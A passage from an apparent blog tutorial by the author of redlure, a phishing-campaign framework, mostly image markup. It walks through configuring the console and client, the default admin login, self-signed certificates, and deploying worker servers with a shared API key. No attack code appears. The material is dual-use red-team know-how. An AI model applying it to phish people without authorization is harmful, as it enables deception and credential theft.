https://substackcdn.com/image/fetch/$s_!KiDd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fc15d8740-f203-44af-84a7-49ef606d02b4_880x164.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Edit <code>config.py</code> to choose a port and set certs.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!i0IC!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d51389-9711-48c3-9739-c082cc67aea6_1094x248.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!i0IC!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d51389-9711-48c3-9739-c082cc67aea6_1094x248.png 424w, https://substackcdn.com/image/fetch/$s_!i0IC!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d51389-9711-48c3-9739-c082cc67aea6_1094x248.png 848w, https://substackcdn.com/image/fetch/$s_!i0IC!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d51389-9711-48c3-9739-c082cc67aea6_1094x248.png 1272w, https://substackcdn.com/image/fetch/$s_!i0IC!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d51389-9711-48c3-9739-c082cc67aea6_1094x248.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!i0IC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d51389-9711-48c3-9739-c082cc67aea6_1094x248.png" width="1094" height="248" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/b9d51389-9711-48c3-9739-c082cc67aea6_1094x248.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:248,&quot;width&quot;:1094,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:37117,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!i0IC!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d51389-9711-48c3-9739-c082cc67aea6_1094x248.png 424w, https://substackcdn.com/image/fetch/$s_!i0IC!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d51389-9711-48c3-9739-c082cc67aea6_1094x248.png 848w, https://substackcdn.com/image/fetch/$s_!i0IC!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d51389-9711-48c3-9739-c082cc67aea6_1094x248.png 1272w, https://substackcdn.com/image/fetch/$s_!i0IC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d51389-9711-48c3-9739-c082cc67aea6_1094x248.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>And start the client!</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!sdsp!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F136c6b8d-b3b2-463e-aa20-b8f6906ad63b_1946x594.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!sdsp!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F136c6b8d-b3b2-463e-aa20-b8f6906ad63b_1946x594.png 424w, https://substackcdn.com/image/fetch/$s_!sdsp!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F136c6b8d-b3b2-463e-aa20-b8f6906ad63b_1946x594.png 848w, https://substackcdn.com/image/fetch/$s_!sdsp!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F136c6b8d-b3b2-463e-aa20-b8f6906ad63b_1946x594.png 1272w, https://substackcdn.com/image/fetch/$s_!sdsp!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F136c6b8d-b3b2-463e-aa20-b8f6906ad63b_1946x594.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!sdsp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F136c6b8d-b3b2-463e-aa20-b8f6906ad63b_1946x594.png" width="1456" height="444" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/136c6b8d-b3b2-463e-aa20-b8f6906ad63b_1946x594.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:444,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:151027,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!sdsp!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F136c6b8d-b3b2-463e-aa20-b8f6906ad63b_1946x594.png 424w, https://substackcdn.com/image/fetch/$s_!sdsp!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F136c6b8d-b3b2-463e-aa20-b8f6906ad63b_1946x594.png 848w, https://substackcdn.com/image/fetch/$s_!sdsp!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F136c6b8d-b3b2-463e-aa20-b8f6906ad63b_1946x594.png 1272w, https://substackcdn.com/image/fetch/$s_!sdsp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F136c6b8d-b3b2-463e-aa20-b8f6906ad63b_1946x594.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Now, I am a node noob - this is quite apparent if you look at the TypeScript code (PRs very welcome) - and got lucky that the client started on the first try. There is probably a better way to determine the ever-changing version of node required, but if you start the client and it fails with something about a minimum required Node version, install <code>nvm</code> (Node Version Manager) and use it to get the right Node version.</p><p>You should be able to login to the web interface now! Default login is <code>admin</code>:<code>redlure</code>, make sure to get that changed after logging in. Set the console field to the address of the console we stood up earlier.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!WD5F!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7e1081fe-f67c-4447-8556-01854f1d2d94_2522x1338.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!WD5F!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7e1081fe-f67c-4447-8556-01854f1d2d94_2522x1338.png 424w, https://substackcdn.com/image/fetch/$s_!WD5F!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7e1081fe-f67c-4447-8556-01854f1d2d94_2522x1338.png 848w, https://substackcdn.com/image/fetch/$s_!WD5F!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7e1081fe-f67c-4447-8556-01854f1d2d94_2522x1338.png 1272w, https://substackcdn.com/image/fetch/$s_!WD5F!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7e1081fe-f67c-4447-8556-01854f1d2d94_2522x1338.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!WD5F!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7e1081fe-f67c-4447-8556-01854f1d2d94_2522x1338.png" width="1456" height="772" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/7e1081fe-f67c-4447-8556-01854f1d2d94_2522x1338.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:772,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:175464,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!WD5F!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7e1081fe-f67c-4447-8556-01854f1d2d94_2522x1338.png 424w, https://substackcdn.com/image/fetch/$s_!WD5F!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7e1081fe-f67c-4447-8556-01854f1d2d94_2522x1338.png 848w, https://substackcdn.com/image/fetch/$s_!WD5F!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7e1081fe-f67c-4447-8556-01854f1d2d94_2522x1338.png 1272w, https://substackcdn.com/image/fetch/$s_!WD5F!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7e1081fe-f67c-4447-8556-01854f1d2d94_2522x1338.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em><strong>Very important note</strong>: if you setup the console API with self-signed certs, you are going to need to browse to the console&#8217;s address</em> <em>(i.e. https://console.domain.com:5000) and accept the self-signed cert warnings or any attempt by client to login will likely fail.</em></p><p>At this point, your console is fully functional and you can start adding workspaces, templates, SMTP configs and more.</p><p>When designing the web interface and main campaign components, I took a lot of inspiration from <a href="https://github.com/gophish/gophish">Gophish</a>, authored by <a href="https://twitter.com/jw_sec">Jordan Wright</a>. If you&#8217;ve made it this far into the post, I&#8217;d assume you do a fair amount of phishing and thus have probably tried Gophish. Gophish is a tool I enjoyed success with in the past and one I think does a lot of things right. In particular, I love how the phishing campaigns feel very modular and easy to switch a single piece in or out of - something I tired to mimic.</p><h3><strong>Connecting Workers to the Console</strong></h3><p>Last thing you&#8217;ll need before phishing is to <a href="https://docs.redlure.io/redlure-worker/Installation.html">install</a> one or more workers to host campaigns for you. I&#8217;ll only be adding one for the purpose of this post, but you can repeat this process to add as many workers as you need.</p><p>I usually deploy these on cheap cloud instances with around 1 GB RAM and 32 GB storage. On Vultr these are $6/month, per worker you stand up.</p><p>After deploying a new server for the worker, clone the repo and run the <code>install.sh</code> script.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!M0Dh!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F65e0f5bd-af55-4571-8cb2-3e68b3925b68_1484x622.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!M0Dh!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F65e0f5bd-af55-4571-8cb2-3e68b3925b68_1484x622.png 424w, https://substackcdn.com/image/fetch/$s_!M0Dh!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F65e0f5bd-af55-4571-8cb2-3e68b3925b68_1484x622.png 848w, https://substackcdn.com/image/fetch/$s_!M0Dh!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F65e0f5bd-af55-4571-8cb2-3e68b3925b68_1484x622.png 1272w, https://substackcdn.com/image/fetch/$s_!M0Dh!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F65e0f5bd-af55-4571-8cb2-3e68b3925b68_1484x622.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!M0Dh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F65e0f5bd-af55-4571-8cb2-3e68b3925b68_1484x622.png" width="1456" height="610" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/65e0f5bd-af55-4571-8cb2-3e68b3925b68_1484x622.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:610,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:149677,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!M0Dh!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F65e0f5bd-af55-4571-8cb2-3e68b3925b68_1484x622.png 424w, https://substackcdn.com/image/fetch/$s_!M0Dh!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F65e0f5bd-af55-4571-8cb2-3e68b3925b68_1484x622.png 848w, https://substackcdn.com/image/fetch/$s_!M0Dh!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F65e0f5bd-af55-4571-8cb2-3e68b3925b68_1484x622.png 1272w, https://substackcdn.com/image/fetch/$s_!M0Dh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F65e0f5bd-af55-4571-8cb2-3e68b3925b68_1484x622.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This should end with creation of your pipenv environment. If the script fails somewhere along the way, or you don&#8217;t have Python3.9 available, you can create the virtual environment yourself with <code>pipenv install</code> or <code>pipenv install --python 3.X</code>.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!dQ1F!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7232ccee-f1ab-456c-9b5b-69ab05fe214f_1658x482.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!dQ1F!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7232ccee-f1ab-456c-9b5b-69ab05fe214f_1658x482.png 424w, https://substackcdn.com/image/fetch/$s_!dQ1F!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7232ccee-f1ab-456c-9b5b-69ab05fe214f_1658x482.png 848w, https://substackcdn.com/image/fetch/$s_!dQ1F!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7232ccee-f1ab-456c-9b5b-69ab05fe214f_1658x482.png 1272w, https://substackcdn.com/image/fetch/$s_!dQ1F!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7232ccee-f1ab-456c-9b5b-69ab05fe214f_1658x482.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!dQ1F!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7232ccee-f1ab-456c-9b5b-69ab05fe214f_1658x482.png" width="1456" height="423" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/7232ccee-f1ab-456c-9b5b-69ab05fe214f_1658x482.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:423,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:116305,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!dQ1F!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7232ccee-f1ab-456c-9b5b-69ab05fe214f_1658x482.png 424w, https://substackcdn.com/image/fetch/$s_!dQ1F!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7232ccee-f1ab-456c-9b5b-69ab05fe214f_1658x482.png 848w, https://substackcdn.com/image/fetch/$s_!dQ1F!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7232ccee-f1ab-456c-9b5b-69ab05fe214f_1658x482.png 1272w, https://substackcdn.com/image/fetch/$s_!dQ1F!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7232ccee-f1ab-456c-9b5b-69ab05fe214f_1658x482.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Before editing <code>config.py</code> go back to the web console and copy your API key from the <em>Domains &amp; Servers</em> page. This will used by both the console and workers to verify traffic coming from the other. You can regenerate your key in the web interface at any time, but doing so will break worker/console communications until you update your workers&#8217; configs with the new key.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!fp4a!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F076b5744-623c-4dd8-9609-197e2f1996e1_1682x656.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!fp4a!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F076b5744-623c-4dd8-9609-197e2f1996e1_1682x656.png 424w, 